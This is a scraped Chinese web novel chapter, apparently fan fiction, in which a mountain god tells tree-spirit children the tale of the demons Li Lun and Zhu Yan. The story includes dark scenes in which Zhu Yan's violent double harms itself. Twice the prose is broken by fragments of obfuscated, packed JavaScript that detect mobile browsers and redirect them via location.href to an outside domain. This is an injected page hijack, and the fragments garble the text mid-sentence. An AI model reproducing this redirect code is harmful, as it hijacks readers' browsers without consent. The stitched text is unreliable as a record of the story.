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萌萌走到英磊跟前,伸出的小手攥了攥他的衣襟,又忍不住摇了摇他,一口小奶音问着:“小山神大人,为什么王会变成天上的星星呢?” 英磊蹲下身子,伸手将她小辫子上要掉落的槐花花瓣绑正,语重心长说着:“那还不是因为...” 英磊语顿,喉间发酸,缓了好一会才再度开口解释着:“因为,万年前的那场昆仑雪山大战。” 一旁的胖胖跟睿睿跑了过来,各自抱住英磊的大腿,撒娇着:“小山神大人,你能不能给我们讲讲王跟妖后大人的故事啊?” “槐精们,来,过来坐下。” 英磊拉着他们坐到一旁一块巨石上,原本藏进土里的槐精们一个个跟竹笋般蹿出了地面,巴眨着大眼睛,好奇盯着英磊。 英磊假装冷声一喝:“你们不是要听故事吗?还不钻出土来?” 土里的槐精们一听,顿时黯淡下去的眼睛变得亮晶晶的,一个个都从土里蹦了出来,手忙脚乱地小跑到英磊跟前。 英磊暗自瞄了一眼一旁攀爬了老半天还爬不上来的萌萌,忍不住摇了摇头:“离仑跟朱厌,他们两个人的故事啊...十天十夜都说不完...” 最后他实在是看不下去了,伸手将槐精萌萌,一把抱在身前,继续娓娓道来:“他们的故事,得从很久很久的以前说起了...” 萌萌巴眨着大眼睛,大笑着,那颗缺了一口的小乳牙一下子就露出来了,扯着一口小奶音,慢吞吞同抱着她的英磊说道:“很久很久吗?那也没关系,多久我们都想听。” 英磊看到抱在怀里缺了一口小乳牙却一脸真挚望着他的槐精,恍惚之间,不由想要他入凡历练的那两百年里,回来后从他爷爷口中听到的槐江谷大事。 怨不了,也怪不得为何离仑会如此憎恨凡人。离仑看到的凡间与朱厌眼中的凡间,截然相反。 离仑跟朱厌,明明是两个性格截然不同的人,历经万重劫难,走在了一起,成为了大荒诸妖皆知的神仙眷侣,爱过,恨过,痛过,分过,合过,最后却还是躲不过生离死别。 爱别离,求不得,怨憎会,他们都有过。 英磊的心,就像一颗沉重又硕大的石块,被人投掷入海,突然就变得沉重与窒息起来。 敛起脸上的失色与落寞,英磊开始同槐精们说起了大荒往事。 “从很久很久的以前说起...” “那得从六万多年前的大荒说起了...” 23.大荒往事 “六万多年前的大荒啊...”英磊抬眼望了一眼天空,大声骂骂咧咧着,欸欸欸!怎么回事?” 原本下起鹅毛大雪的天空,大雪骤停,电闪雷鸣过后,一场毫无预警的大雨倾盆而下。 英磊甩了甩被雨水打湿的头发,连忙掐诀念咒,一层白色结界从他头顶向四周蔓延而开,将这来势汹汹的雨,彻底挡在外头。 “欸!槐精们,进来躲雨呀!” 手里还抱着个槐精的英磊一脸茫然望着站在结界外,此刻正淋着雨笑呵呵着的诸多槐精们。 站在结界外的槐精胖胖,看到英磊一副呆呆的模样,笑呵呵连忙同他解释着。 “小山神大人,我们槐精,可是草木妖。日晒雨淋,雪落霜降,都不怕的。比起艳阳高照的天气,我们更喜欢湿漉粘稠的阴雨天了!” “小山神大人,淋雨有何可怕?多淋雨才可以长得高呀。” “谁跟你们说的?我可不是你们草木妖,淋雨后一身湿哒哒的,多不舒服呀。”英磊忍不住又甩了甩自己被雨水打湿的头发,一脸嫌弃着。 “小山神大人,”被英磊抱着的槐精萌萌抬起小脑袋,头顶在他的胸腔,认真给他解释着,“我们可是槐精,多淋雨,才可以长得快,长得大。” 英磊一听,心中更酸了。 眼前这些小豆丁大小的槐精们,都是靠着朱厌的妖力才维持住人形。 朱厌的妖力里有一部分是靠吸食四海八荒内的戾气所生,与槐精们的草木妖力相克,所以靠朱厌妖力才得以化形的他们,根本不可能长大。 “雨越下越大了,”槐精胖胖挠着后脑勺,抬头看着天上的雨,“妖后大人的心情,好像更糟糕了...” 英磊疑惑出声:“这跟朱厌什么关系?” “以前,妖后大人心情不好,槐江谷都会下雨。” “可是,不知道什么时候开始,只要妖后大人心情不好,槐江谷就变得又雪又雨的,”槐精萌萌一口小奶音慢吞吞说着,“有时候下得太多太久了,槐江谷谷内其他草木小妖都苦不堪言...” 英磊心一沉,脸色微变。 这么大的事,他怎么没听过茯苓说过? “走走走!淋什么雨!待会生病了,你们妖后大人还要照顾你们!他照顾不了肯定要我帮忙照顾你们!他很忙的,我也很忙的!走走走!回去——” “小山神大人,妖后大人先前同我们讲过,他说,全大荒数你最空闲。”槐精胖胖一脸不明白,挠了挠自己湿哒哒的小脑袋,“小山神大人,你要忙什么呀?” “我忙...欸,我干嘛要跟你们一群小豆丁说呢,赶紧都给我进来!” 英磊抱着萌萌,施法将结界外的其他小槐精都拎到结界内,然后带着他们,慢悠悠地走回了槐江谷小居。 雨水溅落在树叶上,饱满的雨珠顺着叶面被弹走。 朦胧月色照耀下,移动的白色结界之中,一道黄色的高大身影背后,跟着一大串绿油油的小身影。 英磊觉得,此刻的自己,就像一只护犊的大母鸡,身后跟着一大群刚孵化的小鸡崽,搞得他还得时不时停下来,回身数一数身后有没有槐精被落下。 没办法,这些新生不久的槐精们实在是太脆弱了,一个不小心就会魂飞魄散。 原本他也想直接施法回去,可又担心这瞬移之术会伤到他们,只能乖乖陪着他们一步一个脚印走回去。 走了足足两个多时辰,他们终于回到了槐江谷小居了。 “朱厌,”英磊抱着槐精,往里头探了探脑袋,“我把槐精们给你送回来了。人呢?” 怀里的萌萌戳了戳他的脸,慢吞吞说着,“妖后大人,他在后山打坐修炼着呢,”说着说着,便玩起了自己的又短又肥的小手指,一脸心虚,“不过,我们刚刚要去祭奠王,怕被发现,所以...” 英磊不由眯起了双眼,有种不安的感觉:“所以怎么了?” “所以...我们给妖后大人,点...点了你给的...梦鱼香...” 英磊一听,眼睛瞪得跟铜铃似的,还顺带倒吸了一大口凉气! 他滴个乖乖!那朱厌岂不是要睡到天荒地老了... 这些小豆丁,看着挺人畜无害的,怎么都随离仑的性子,个个如此诡计多端呢?! 槐精们原本湿漉漉的身上,早就被英磊用法术给弄干了。 槐精睿睿捋了捋自己被英磊法术烘干得卷翘的发丝,又伸手扯了扯英磊的衣摆,仰着小脑袋,目光炯炯望着他:“小山神大人,你可以继续跟我们讲王跟妖后大人的故事吗?” “对呀对呀!小山神大人,我们要听王跟妖后大人的故事!” “哦,对,”英磊放下萌萌,拉着槐精们坐了下来,“刚刚说到哪里了?” “你说他们的故事,要从很久很久的以前说起...得从六万多年前的大荒说起了...” “没错!”英磊大腿一拍,手一挥,当下变出一把羽毛扇子,化身那凡间说书先生,开始娓娓道来。 底下坐着的诸多槐精们,有些小手撑着小肥脸,有些手里攥着槐花骨朵,有些还从怀里摸出一小把葵瓜子,但都个个聚精会神,正听着英磊说着六万多年前的大荒往事—— “离仑跟朱厌,他们两个人的故事啊,十天十夜都说不完...” “六万多年前的大荒,四海八荒之内,只有离仑一个上古大妖,他妖力强大到比肩神明。” “哇——” 底下的槐精们个个一听,忍不住拍手赞叹起来,真不愧是他们的王。 一听,就很威风凛凛! “可是呢,”英磊如一个吊足人胃口的说书先生,话语一转,勾得底下槐精们憋住呼吸,“在离仑两百岁的时候,朱厌诞生了。” “朱厌是被天地戾气选中的承载容器,离仑是天生易聚阴邪戾气的万槐之皇。” “这两个人啊,”英磊虚着眼,下意识想要摸着上自己的大胡子却摸了个空,“同为大荒内数一数二的上古顶级大妖,一个是沉闷无趣的大槐妖,一个活泼灵动的白猿,不知怎么的,就这么水灵灵的爱上了...” “那...英磊山神大人,”萌萌玩着他腰间那串黑黄相间的兽毛小尾巴,奶声奶气问着他,“你的真身是什么呀?是可爱的小熊猫吗?” 英磊一听,当下嚷嚷起来道:“胡说!本山神可是威风凛凛的大老虎,怎么可能是那人畜无害的可爱小熊猫呢?” 咦? 在场的所有槐精们一听,个个都面露诧异,眼睛瞪得跟铜板一样大! 他们这位山神大人,居然不是人见人摸的可爱小熊猫,而是人见人跑的凶猛大老虎?o((⊙-⊙))o 萌萌望着英磊,再次虎头虎脑出声:“你看着...” 一旁胖胖像唱双簧般,抢先一步回答:“不像啊...” 听到此话的英磊,当下做出一副手捂心口,面上痛心疾首的模样。 他不要面子的吗?! 真不愧是吸了朱厌妖力而化形的槐精,连这毒舌都随他入木三分!对他堂堂一介大荒昆仑山神,可真的是嘴下不留情,杀虎诛面还诛心啊! “这看着,”萌萌玩着继续望着英磊腰间的兽毛小尾巴,一脸天真发问,“不就是小熊猫尾巴吗?” 英磊一把抽走她手中玩着的尾巴串,嘴里嘟囔个不停:“胡说!这尾巴,可不是普通的尾巴,更不是什么小熊猫尾巴!” “这可是我用我的胎毛编的虎毛串,是一对的。这一串是给我自己留作纪念的,”说着说着,他突然神色连带着哀伤了几分,“另外一串...本山神已经送给心爱之人,当定情信物了...” 槐精们一听就来劲,瞬间带偏了话题。 “小山神大人,你心爱之人,是谁呢?” 英磊状似不经意,悄悄收敛起眼中哀伤,大大咧咧说着:“欸欸欸,说好只聊你们妖后大人和离仑的前尘旧事,怎么聊到我身上来了?!还听不听呢?不听,我可走了。” 槐精们当下就急起来了,个个扒拉着他不让他走,七嘴八舌回着。 “听听听...” “要听呢!” 小居后山,青苔岩石上,那抹盘旋在朱厌身旁一直挥之不散的黑雾,趁着朱厌调息妖力的懈怠之际,顺着他的眉心,钻入了他的体内。 黑雾入体,冲进朱厌的识海,寻到了戾气微微开裂的封印,顺着裂缝钻了进入。 黑色的雾气与红色的戾气相互交融,露出一双冒着红光的眼睛。 识海里造出来的幻境,与现实的桃花山洞如出一辙。 朱厌闭目打坐,体内乱窜狂啸着的妖力,让他脸色又难看了好几分。 渗血的嘴角上,唇色发白,微微发抖,满额冷汗,脸色惨白。一串又一串的冷汗,顺着他濡湿的贴肤发丝,掺入衣裳。 “朱厌,你又做梦了。” 朱厌耳边出现了一道混沌的声音,嘶哑,低吟,喜怒无常又阴晴不定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351676|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那双夹在红黑雾气之中的诡异眼睛,蹿到了朱厌对面的岩石上。 雾气消散,戾气现身。 一张跟朱厌一模一样的脸,缓缓露出—— 戾气那张跟朱厌长得一模一样的脸,多了几道被掩起的暗红妖纹,莫名多了一抹邪气与妖魅。 只见一.丝.不.挂.的戾气朱厌,周身被戾气红光裹着,随意倒靠在岩石上。 彻底妖化后的戾气朱厌,一双纤长十指上,萦绕着难以散去的黑气。 百般无聊的戾气朱厌,此刻正用着纤长利指,来回划拉着自己惨白的皮肤。 完好无损的皮肤,被他用利指划开了一道深可见骨的伤口,血疯了似地往外流着。下一秒便迅速愈合,可又再被他无情地用利指划破。 就这样,他身上伤口一直不断重复着,裂开又愈合,愈合又再被扯开。 可戾气朱厌却好似不知疼般,随着身上口子越划越大,血越流越多,玩得越来越起劲,甚至还舔.舐起了指甲上的鲜血,露出一个一脸享受的神情—— 而坐在他对面的朱厌,眉心却皱得越来越紧了,脸色越发惨白难看,额间冷汗滴得越来越频繁,最终还是忍不住,开了口。 “你玩够了吗?” 戾气朱厌指尖一顿,长长的指甲还插在手臂里头搅着自己的模糊血肉。 听到朱厌终于开口说话,戾气朱厌才一脸意犹未尽地拔出了自己的利指,对面当下便传来了一声微弱的痛闷声。瞬间,一道血柱自他臂上喷洒而出,在空中滑出一道弧线,最后血溅在地。 地上翠绿的萌芽小草被他这冒着黑气的血这么一洒,当场就枯萎而死,化成一滩草灰。 “我还以为,”戾气朱厌低头舔.了.舔.自己血肉模糊的手臂,嘴角阴笑着,“你不会疼呢...” 朱厌没有理睬他,只能默默将自己的手臂,往身后回缩了一下。 原本干净的衣裳上,手臂位置那一处早被鲜血染红濡湿,隐约还冒着黑气。 戾气朱厌.自.残.行为下所受的伤,全都转移到朱厌身上。 被邪煞的戾气伤到,就算他是能自我疗伤愈合的大妖,也没办法短时间内愈合和恢复。 “朱厌,”戾气朱厌微勾嘴角泛起一个冷笑,混沌的嗓音里布满讥讽之意,“英招说过,我们妖,天生七窍不全,是不会做梦的。” “可是,你却因离仑,修出了凡人的七情六欲,”戾气朱厌狂笑出声,眼中闪烁着疯子般的兴奋,“那便会痴生,喜怒忧惧,爱憎恨欲。” “你看看有情的你,再看看无情的我,”戾气朱厌像个天真无邪的孩童,歪着脑袋好奇地盯着闭眼打坐的朱厌,俯身低吟,一脸得意,“是不是...很痛苦...” 朱厌强忍着体内翻涌着的强烈不适感,强行挤出一个冷笑:“我乐意。” “唉——”戾气朱厌朝他露出一个怜悯目光,好似看着一头被困在牢笼里垂死挣扎的困兽,语气无奈,“天地鸿蒙,两仪相生,爱恨双极...” “朱厌,你有没有想过,也许,你念念不忘的,不是对他的爱,而是恨呢?” 朱厌一听,为之一震,整个人不由一僵。 恨? 他对离仑,怎么会是恨呢? 英磊口中说的,跟他所看到的所有一切,都告诉着他,离仑很爱他,他也很爱离仑。 既然深爱,何来怨恨呢? “是不是很难受?”戾气朱厌再次笑着出声,朝他所在位置走前了几步,“这凡人的七情六欲,滋味如何呢?” “妖想变人,人想修仙。所以,这天地之间,独人和妖,才会痛苦。可唯有苦难不断,戾气才能生生不息...” 朱厌没有回答这个问题,只是默默紧咬着牙关,但轻动的紧皱眉头,却还是暴露了他自以为藏得很好的情绪,看得出此刻戾气的这番话让他有些触动。 “朱厌——” 朱厌心绪不宁,识海撼动,同生一体的戾气,自是感受到了他体内蠢蠢欲动的失控。 看着被自己折磨得心绪不宁的朱厌,戾气朱厌好像一个被奖励了糖果的孩童,眼里顿时折射出兴奋又疯狂的精光,透着一股吞血食肉的痴迷。 戾气朱厌一边说着,一边伸出舌头,将食指指尖上那一颗欲滴未落的血珠,卷入口中,吞进腹里。 “我的离仑...” “他,可是一个拥有很多秘密的妖...” “想不想知道...他的秘密呢...” 24.谁先爱上 槐江谷小居里,此刻好生一片热闹。 槐精们叽叽喳喳的喧闹声传入耳朵,英磊被吵闹得忍不住龇牙咧嘴,只觉自己的耳朵都要炸开了。 英磊伸手掏了掏耳窝子后,十指张开做出一个噤声手势:“槐~精~们~安静!” 槐精们见状后,识相地捂住自己的小嘴,原本喧闹不止的场面顿时针落可闻。 英磊动了动耳朵,听着终于安静了,才肯睁开了虚着的眼,娓娓道来:“朱厌跟离仑啊...” 槐精们一听,眼睛顿时亮了又亮。 “他们两人,相生相克,从青梅竹马到心意相通,到最后,成为大荒诸妖都知悉的神仙眷侣。” 在场所有槐精们越听越兴起,被英磊抱在怀里的萌萌忍不住抬头,好奇发问:“那他们之间,是谁先爱上谁的呢?” “呃...”英磊被瞬间问倒了,“我觉得,”沉思了好一会才说出自己的想法,“是离仑!” “对吧对吧!” “我也觉得,肯定是我们的王,先爱上妖后大人的!” “机柏木爷爷说了,大荒的妖怪们,爱妖侣是会发大财,涨修为的...” 所有槐精们叽叽喳喳附和起来,一声大过一声,吵得英磊那叫个头大。 “安静!”小山神被槐精们叽叽喳喳的声音,吵闹得脑子嗡嗡大叫,忍不住拿过身后的黄毛辫子放在嘴里咬了起来,露出一个凶狠表情威胁着他们,“再吵就不给你们讲了!” 槐精们被英磊这番恐吓得直捂小嘴,吓得顿时个个睁大双眼,一脸震惊! 小居后山,朱厌被戾气强行困在虚构出的识海幻境里,整个人被戾气逼得格外难受,背后的衣裳早被一身冷汗濡透,连带着呼吸也愈发急促起来—— 识海幻境里,戾气朱厌攀附到朱厌身上,俯身低头,猩红的舌.头刻意舔.了.舔.朱厌的耳朵,不停撩拨着他的心绪失控。 “朱厌...要不,我给你看些东西吧...” 温.热与湿.润猝不及防地卷上泛着凉意的耳朵,让朱厌难受得下意识躲了又躲,别开了头。 “朱厌,他为了你,连命都不要,你可曾想过——” “他那么护着你,也许不是因为对你的爱,而是他心有愧疚呢? 戾气朱厌嘴边荡起一个诡异瘆人的笑容,阴侧侧又慢吞吞朝着他俯身开口。 “不如,我们来打个赌吧,看看你眼中的他,到底如何?” 话刚说完,戾气便朝朱厌脸上,慢悠悠地吹了一口红雾。 紧闭着眼调着体内紊乱气息的朱厌,当下身形微微一晃,只觉得体内涌起一阵吸力,推动着他朝不知名的方向跌去—— 三万年前,槐江谷禁地。 槐谷高地洞窟内,一片昏暗无光,唯有仔细查看,才能隐约瞧到蜷缩在黑暗角落处的那一道身影。 一团蓝金相交的浓雾伴随着无数翠绿的槐叶,穿过洞窟外那层金色结界,飘入洞内。 被槐叶围着的浓雾在空中凝聚,一个高大的人形从雾中现身,落地。 来人周身浓雾散尽,四周涌动着的槐叶也随之消失,来者正是离仑。 离仑缓缓走向抱膝蜷缩在角落的身影,伸手摸了摸他的头,目光若有所思盯着眼前人。 在他准备开口时,脸颊埋在自己双膝之间的人,缓缓抬起头,哑着嗓子说:“离仑...” “离仑...若是有一天...我再次失控的话...” 离仑一听,嘴角微勾,抬手抹去了朱厌眼角的泪,朝他露出一个安慰的笑,抢先夺过他的话:“不会的。有我在呢。” 朱厌一听,哭得更凶了,一下子就扑进了离仑的怀里。 离仑一下一下轻抚着他的后背,语气格外温柔:“别怕。我会想办法的。” “你忘了吗,”离仑将朱厌抱起来,轻声同他说着,“还有烛阴呢...” 朱厌一听,埋在离仑胸膛前的脸藏得更深了,又忍不住小声抽泣起来。 离仑见状,微微失神一愣,过了许久才再度开口,“我们,回家吧...” 朱厌被戾化朱厌强行拖入他的回忆,在这片半梦半醒之间,真假相织,一时之间,竟让他分不清究竟是虚梦,还是现实。 打坐调息着的他,艰难出声:“离仑...是你吗...” 戾气朱厌俯身靠近他,侧耳低吟:“是他呀...你怎么...又忘了呢...” “你不好奇...他究竟是个怎么样的妖吗...” 戾气朱厌化为一股红黑相缠的雾气,朝着盘腿而坐的朱厌欺身而上,冷笑着又朝他双眼吹了一口红雾。 红雾入体的瞬间,被困在自己识海里的朱厌再度抬头之时,眼前便是一片白雪皑皑的昆仑神山。 在他面前的不远处,一个大阵前,正站着两个黑衣人。 其中一个,灰发黑衣,姿容翩翩,相貌堂堂,是大荒龙神,烛阴。 另外一个人,则是离仑。 不远处的地上,画满了复杂繁琐的符文,符文涌动形成了一个金色大阵,坐在大阵之中,昏迷不醒的人,正是自己。 朱厌不知为何,忽而心中一沉,下意识望向站在烛阴身旁的离仑,于记忆中被他埋藏起来的离仑身影,双双交叠。 交叠的朦胧光影之中,他看到了守在他床边的离仑。 此刻他的耳边,更是忽而随之响起一道遥远回忆的声响—— “上古龙神,开眼为昼,闭眼为夜。烛阴不仅能呼风唤雨,照亮九阴幽渺之地,还能掌控昼夜交替。”① 是离仑的声音。 “烛阴身为龙神,既能控夜掌昼,自能持月避日。” “天地混沌之时,生逢阴煞之气降临,便能唤醒九天十地,四海八荒内的一切血腥杀戮之戾。” “你是天地选中的戾气容器,这一身戾气,自该是你纵横天地的锋芒...”离仑伸出的手轻抚上熟睡中的朱厌,低沉的嗓音里多了几分难察的隐忍与疼惜,“可你却视这天地戾气为命数诅咒,不愿将它纳为己用——” “我虽不喜你如此折磨自己,也不愿拘你所强,但也随你所愿...”离仑痴痴地望着朱厌,心有不忍却不得不从,“我说过,护你一世周全...” 言停语落之间,离仑俯身,轻轻在朱厌的唇上,落下一吻。 明明只是一个羽毛似的轻吻,却庄重地镌满了难以言喻的爱意。 深情,虔诚,珍而重之。 “烛阴,”离仑望着天空逐渐浓厚的黑云,目带忧虑,语气淡淡吩咐着,“开始吧——” 离仑的话,将沉浸在零碎记忆中的朱厌拉回了神,朱厌顺着他的视线望去。 站在他身边的烛阴听到命令后,睁开的眼睛里,一双幽黑的眼眸渐渐转为柔和的绿色,身上的黑袍更是随着他眼中游动的绿光而随风展动着。 昆山神山上,原本浓厚的黑云开始浮散,露出斑驳阳光。 离仑一看,眼中的担忧都散了几分,连嘴角都不自觉多了一抹愉悦。 不料,一旁的烛阴嘴角骤然露出一个冷笑,脸上神情突而转为癫狂,睁开的双眼中,绿光从柔和变为凶狠,露出斑斑狠意。 一睁一闭之间,昆山神山上浮散而去的游云再次围聚交叠,飞速移动着。刚恢复没几秒的璀璨阳光,瞬间寂灭,风云突变,电闪雷鸣,声声撼心。 四周由光转暗,明亮的白昼,彻底沦陷为昏暗的黑夜。漆黑的天空,一轮巨大的红色血月冉冉升起。 这轮突然出现的诡异血月,红得渗人,邪得发慌。 离仑一看,脸色大变,原本平静的语气里也多了一抹急色:“血月降临?怎么回事?” 随即望向阵法中的朱厌,无数红色戾气在血月操控下,从天地之间的四面八方疯狂涌入昆仑神山,涌入阵法里头,再源源不断地钻入朱厌的身体。 “阿厌——”离仑立刻朝着朱厌所在的阵法跑去,还没靠近就被一股巨大的神秘力量打飞在地。 大荒的高地洞窟里,半空之中,忽而飘落下一片正被火灼得逐渐消散的槐叶。 正在闭目打坐的离仑,在血月降临的那一刻,便感知到了异样,嘴角突而流出一股血,缓缓睁眼双眼,眉头紧皱。 身上微愈的伤口,统统再次裂开。体内的伤,再次加重了... 离仑瞬间的眼神便晦暗了几分,脸上透出一股阴鸷毒狠的神色:“该死的,被算计了...” 盘膝坐在山洞当中的离仑,周身瞬间涌出无数蓝金交织的黑气,将他整个人紧紧萦绕住。 “很好,胆敢算计他——” 随着他的盛怒,围绕在他身上的黑气,涌现得更盛了。 离仑闭上了眼,努力平息着一腔怒火,脑海里却情不自禁浮现出朱厌跟他说过的话。 “离仑,若是有一天...” “我再次失控的话...” “答应我...你一定要杀了我...” 离仑周身的黑气又浓郁了好几分,嗓音格外低哑:“我说过,护你一世周全的。” 只见他缓缓起身,嘴角露出一个噬血笑容,神情格外享受,语气中满是对杀戮的兴奋与疯癫:“不知死活,既然如此...按老规矩...我该从哪个杀起呢...” 说完,离仑那只一直握着鼗鼓法器的大手,紧了又紧。 原本合上的眼睛,忽而睁开,脸上满是压抑不住的兴奋,带着一抹罕见的疯批杀意:“那我——就杀了你吧——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而一旁早被戾气控制的朱厌,正跟诸多妖化人逗玩得不亦乐乎着。布满杀意的脸上,只有嗜.血和残.暴的神情。 看着这些妖化人因伤不到自己而逐渐狂化,嘴里发出一声声痛苦又悲愤的哀嚎,站在原地的戾气朱厌,捂住小腹,笑得合不拢嘴。 “没功夫陪你们玩了——”戾气朱厌懒洋洋的嗓音变得格外混沌,带上了一抹认真的玩味,“我要去找我的离仑了——” “融——” 一字诀一出,争先恐后朝他杀去的妖化人,瞬间如同消融冰雪,化成一滩腥臭的血水。 尸融后的血水不慎飞溅到戾气朱厌脚下,引得那张漂亮的脸蛋,瞬间写满了嫌弃之意。 直到发现有几滴弄到了他的衣摆,当下他就暴怒起来,骂骂咧咧着:“脏死了!” 将地上残留的妖化人的尸体挥到一边让出了一条血路,戾气朱厌转身对着地上一堆尸体,懒洋洋出声:“无趣,不好玩——” 上一秒还嫌弃无趣的戾气朱厌,这一秒又变了脸色,忽而兴奋得笑出声:“果然,杀戮跟血腥铺成的回程,才是最美的人间皎月...” 另一边,离仑紧了紧掐住烛阴脖子的那股力量,逼迫着他说出背后指使之人:“说吧,受谁指使?” 烛阴闻言,仿如自嘲,呵呵笑了起来,神情变得癫狂。 可还没等到烛阴开口,离仑突然改变主意,改口道:“算了,我改变主意了。一个将死之人的话,不听也罢。” 离仑指一动,钳制住烛阴的那股虚空力量逐渐加重,烛阴还未来得及惊呼出声,脖子当下就被.扭.断了,发出一声轻微的咔嚓声,是骨骼断裂的声响。 离仑松手,烛阴整个人就像断线木偶般,瘫落在地。 熟悉的气息逐渐逼近,惹得离仑不由侧身一瞥。 戾气朱厌在朝离仑所站位置走去前,还略微笨拙地检查了好几番自己身上的衣物。 看到自己衣摆边上那几滴腥臭的血渍,他一脸不满,嘟囔着唤出一字诀,“净——”直到衣裳干净才心满意足迈开步伐朝着离仑走去。 “离仑,好久不见,多久没见了呢?”戾气朱厌特有的混沌嗓音,带着一抹勾人的尾调。 见离仑没有搭理他,于是,他便朝前又走了几步,带着好奇与警惕,默默盯着他。 那双猩红的眼里,带着久违的亢奋,神色羞涩地瞄了又瞄离仑,开始自言自语起来,不停重复着方才的话—— “离仑,好久不见...” “多久没见了呢?” “我跟你,几万年了不见了吧...” “你有没有——” “想我呢——” 25.戾气朱厌 “离仑,你为何不同我,说话呢...” 戾气朱厌那双猩红的眼睛,从离仑现身就不曾挪开一眼,直勾勾注视着他的眼里满是痴迷与爱恋。 朱厌是承载天地戾气的容器,与他相生相成,附藏在朱厌体内的戾气,自也是随了主人朱厌的几分性子,对离仑也是格外喜欢得很。 戾气朱厌对着离仑,连说话的声音都不自觉轻柔了几分:“离仑,他喜欢人间,你讨厌人间。” “你说过,天地万物,皆要般配。” “可你跟他,一点都不配——” “离仑,他可以的,不可以的,我都可以。” 说着说着,戾气朱厌咧嘴可爱一笑,露出上古大妖兽特有的一对小尖牙,歪着脑袋,直勾勾盯着眼前人。 “离仑,不如,你别爱他了,爱我吧——” 离仑闻言,眉眼不由一蹙,眼神晦暗了些许,语气微厉:“你怎么出来了?听话,回去!” 戾气朱厌一听,顿时就像一只应激的受伤小兽,神情变得格外狠戾,连着身上的红色戾气也盛了些许,恼羞成怒起来。 “我若不回呢?你又想把我封印起来吗?” 离仑没有理睬他的暴怒,只是藏在身后空无一物的指间,一枚泛着金光的槐木叶子骤然而现。 “听话,”离仑一脸冷漠道,你必须回去。” 戾气朱厌一看,顿时变得警惕,如同炸毛小兽,下意识便朝离仑龇牙哈气,连声嚷嚷起来:“我不回去!” “凭什么是他被你爱着?而我就只能困在暗无天日的封印里?他不过是承载我的容器而已——” “既是承载容器,就只该是行尸走肉的死物——” 明明是跟朱厌一模一样的容貌,可戾气所行之举,所说之言却是与朱厌截然不同的疯魔痴癫与胆大妄为,所做之事也全凭喜好,丝毫不顾及他人死活。 离仑自是不怕他,甚至在见到戾化后的朱厌这幅狂怒疯癫的模样,内心还暗自欢喜几分,仿佛看到朱厌接纳戾气后在他面前毫无克制的模样。 朱厌性子良善,平日虽不曾多言戾气相关。但离仑知道,朱厌心里头是憎恨怨怒极了这戾气。 朱厌他打从心里觉着,这本该助他纵横世间的天地戾气为自己的命数诅咒,不愿将它纳为己用。而戾气的存在,更是无时无刻不在折磨着他。 离仑既心疼朱厌对戾气的克制,恼怒朱厌因戾气而折磨自己,又期盼着朱厌开心快乐,活得自由自在,不受任何拘束。 戾气本就是朱厌的一部分,是被他极力想隐藏起来的黑暗面。他爱朱厌的任何一面,不管是好的良善,还是坏的邪恶。 可如若朱厌自己不愿揭开这道伤疤,他便亲自出手,帮他镇住。 “离仑,你不要爱他了,好不好?” “我跟你,我们才该是天生一对的同路人——” “离仑,不如你帮我,将他关进封印里,让我彻彻底底取代他,好不好...” 离仑一听‘取代’二字,强压住盛怒的脸上,顿时不受控地闪过一抹杀意:“你与他,本就一体,何来取代一说?” “话,我不说第三次。回去。” 再看到离仑的难看脸色和一闪而过的杀意后,戾气朱厌忽而狂笑起来,脸上的神色忽而从先前的高度警惕转为格外温顺。 “离仑,朱厌可知道,你不仅隐瞒,还欺骗他吗?” 朱厌被戾气强行拉入这记忆牢笼,出都出不去,只能被迫站在一旁看着这一切。而此时,戾气说的这番话,却是彻底勾起了他全部好奇心。 朱厌开口反问戾气:“什么隐瞒?什么欺骗?你们到底在说什么?” 将自己的记忆造成一座坚不可摧的牢笼,把朱厌彻底困死在这幻境红雾里,强行将他拉入记忆的戾气朱厌闻言,终于慢悠悠地再度现身。 可这一次的戾气,却化作那凶煞阴炽,摄人心魂的红黑煞气。 在缠上朱厌后,阴恻恻冷笑着,“凡人不是说了,耳听为虚——” 戾气朱厌伸出的锋利十指,挑过朱厌的下颌,朝跟前盘旋不散的红雾方向转去,“眼见为实,最好...” 红雾瞬间化作一把锋利的刀,刺进朱厌双眼。片刻之间,朱厌的眼白全被猩红色泽覆盖住。 朱厌的心绪被这猝不及防的偷袭牵走,直接闯入了一处陌生的地方。 “阿厌...” 朱厌一听,连忙转身朝着这声源望去。 一阵错乱的脚步声纷沓而来,可真见着来人时,他又错愕不已。 一银发白衣的人行色匆匆赶来,脸上还带着来不及收起的愕色,行事慌张:“离仑,我...” 是少年朱厌跟少年离仑。 另外一头赶来的白衣少年,脸色阴沉得快掐出水:“你竟愿意为了他们,做到这一步!” “离仑,我无意...” 少年朱厌的话还未来得及说完,就被对面一声怒吼喝住,吓得他身子不由一抖。 “撒谎!”离仑朝他一吼,一脸盛怒,“你能护他们多久?此时此刻?还是生生世世呢?” 说完,少年离仑便甩袖转身,离开了地牢,消失得无影无踪,留下站在原地,一脸落寞的少年朱厌。 “离仑,是我的错。” “别走,留下来,好不好...” “离仑,你回来...” 可是早已走远离开的人,根本没有听到他的话。 晦暗不清的昏黄光晕,打落在少年朱厌身上,拉长了他身上的落寞与哀伤。 朱厌瞧着这陌生的一幕,内心除了疑惑更多的是不解。 英磊同他说过,两人相处数万年,都不曾有过任何口角。离仑从不舍对他说过一句重话,更不曾朝他大发雷霆过。 他不明白,到底有何事,值得两人发生如此激烈的口角? 朱厌还未寻思得明白,那一双被戾气动用邪煞红雾覆盖住的眼睛,里头滚动着的红雾,愈发浓郁起来,像一簇熊熊烈火般,灼烧起来。 “离仑,那个孩子呢?” 戾气朱厌一句简单的话,七个字,便又将朱厌的注意夺了去。 